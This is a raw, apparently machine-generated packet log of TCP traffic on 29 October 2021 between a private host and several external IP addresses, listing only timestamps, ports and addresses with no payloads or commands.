Oct 29, 2021 14:11:03.790817976 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.790831089 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.790831089 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.790841103 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.790870905 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.790887117 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.790908098 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.790958881 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.790961027 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.790977001 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.790999889 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.791001081 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.791038990 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.791048050 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.791079044 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.791089058 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.791116953 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.791131973 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.791157007 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.791172981 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.791196108 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.791209936 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.791233063 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.791243076 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.791273117 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.791281939 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.791312933 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.791321039 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.791352987 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.791359901 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.791393042 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.791400909 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.791429996 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.791445971 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.791470051 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.791476965 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.791508913 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.791517019 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.791547060 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.791555882 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.791585922 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.791594028 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.791625023 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.791635036 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.791663885 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.791671038 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.791703939 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.791711092 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.791743040 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.791752100 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.791780949 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.791790009 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.791821003 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.791830063 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.791857958 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.791872025 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.791897058 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.791904926 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.791934967 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.791944027 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.791975975 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.791980982 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.792016983 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.792025089 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.792053938 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.792062998 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.792093039 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.792100906 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.792131901 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.792140007 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.792169094 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.792181969 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.792207003 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.792215109 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.792244911 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.792265892 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.792289019 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.792296886 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.792329073 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.792336941 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.792365074 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.792372942 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.792404890 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.792411089 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.792443037 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.792452097 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.792479992 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.792490005 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.792519093 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.792525053 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.792557001 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.792566061 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.792596102 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.792603970 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.792637110 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.792643070 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.792675018 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.792684078 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.792714119 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.792720079 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.792752981 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.792759895 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.792789936 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.792798042 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.792828083 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.792834044 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.792870998 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.792941093 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.792987108 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.792994976 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.793026924 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.793052912 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.793077946 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.793092966 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.793114901 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.793129921 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.793154955 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.793168068 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.793194056 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.793209076 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.793231964 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.793246031 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.793271065 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.793277979 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.793308973 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.793318987 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.793349028 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.793359041 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.793389082 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.793395996 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.793426037 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.793441057 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.793464899 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.793473005 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.793504000 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.793513060 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.793540955 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.793555021 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.793580055 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.793593884 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.793617010 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.793627024 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.793657064 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.793665886 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.793695927 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.793704987 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.793734074 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.793747902 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.793772936 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.793783903 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.793812037 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.793827057 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.793848991 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.793863058 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.793886900 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.793901920 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.793926001 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.793941975 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.793966055 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.793972015 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.794028997 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.794054031 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.794065952 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.794068098 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.794107914 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.794121981 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.794146061 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.794152975 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.794182062 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.794189930 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.794219017 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.794229031 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.794258118 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.794285059 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.794301987 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.794317961 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.794342995 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.794358969 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.794380903 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.794394016 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.794420004 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.794434071 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.794459105 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.794481039 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.794496059 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.794521093 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.794534922 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.794548988 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.794574022 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.794596910 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.794614077 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.794621944 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.794653893 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.794677019 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.794713974 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.829674006 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.829725027 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.829741955 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.829778910 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.873097897 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:03.921117067 CEST	49978	28978	192.168.2.3	93.115.20.139
Oct 29, 2021 14:11:04.119371891 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:04.121252060 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:04.147552013 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:04.192918062 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:04.193001986 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:04.202003956 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.203562021 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.260065079 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:04.260118961 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:04.260147095 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:04.260176897 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:04.318356991 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.322942019 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:04.326833010 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:04.327178955 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:04.327223063 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:04.327259064 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:04.327260971 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:04.327287912 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:04.327300072 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:04.327306986 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:04.327399969 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:04.394295931 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:04.394354105 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:04.394385099 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:04.394396067 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:04.394424915 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:04.394437075 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:04.394438982 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:04.394474983 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:04.394489050 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:04.394514084 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:04.394532919 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:04.394551992 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:04.394571066 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:04.394589901 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:04.394603014 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:04.394644022 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:04.405397892 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.409291983 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.461909056 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:04.461945057 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:04.461971045 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:04.461997986 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:04.462013006 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:04.462022066 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:04.462048054 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:04.462050915 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:04.462057114 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:04.462074041 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:04.462074041 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:04.462088108 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:04.462100029 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:04.462125063 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:04.462126017 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:04.462151051 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:04.462176085 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:04.462202072 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:04.462225914 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:04.462250948 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:04.462275982 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:04.462287903 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:04.462301970 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:04.462359905 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:04.462373018 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:04.462663889 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:04.463141918 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:04.529453039 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:04.529489994 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:04.529511929 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:04.529531002 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:04.529551983 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:04.529578924 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:04.529582977 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:04.529604912 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:04.529614925 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:04.529620886 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:04.529628992 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:04.529764891 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:04.531490088 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.531518936 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.531559944 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.531585932 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.531594992 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:04.531613111 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.531641006 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.531641960 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:04.531660080 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.531686068 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.531689882 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:04.531713963 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.531742096 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:04.590810061 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.590914965 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:04.614089966 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.614111900 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.614125967 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.614142895 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.614157915 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.614172935 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.614183903 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.614196062 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.614212036 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.614227057 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.614226103 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:04.614243031 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.614265919 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.614272118 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:04.614278078 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:04.614283085 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:04.614283085 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.614288092 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:04.614300013 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.614317894 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.614332914 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.614340067 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:04.614351988 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:04.614391088 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:04.673388958 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.673408985 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.673424006 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.673439026 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.673511028 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:04.673568964 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:04.696799040 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.696894884 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.696933031 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.696969032 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.697001934 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.697041988 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.697060108 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:04.697078943 CEST	80	50088	45.141.84.21	192.168.2.3
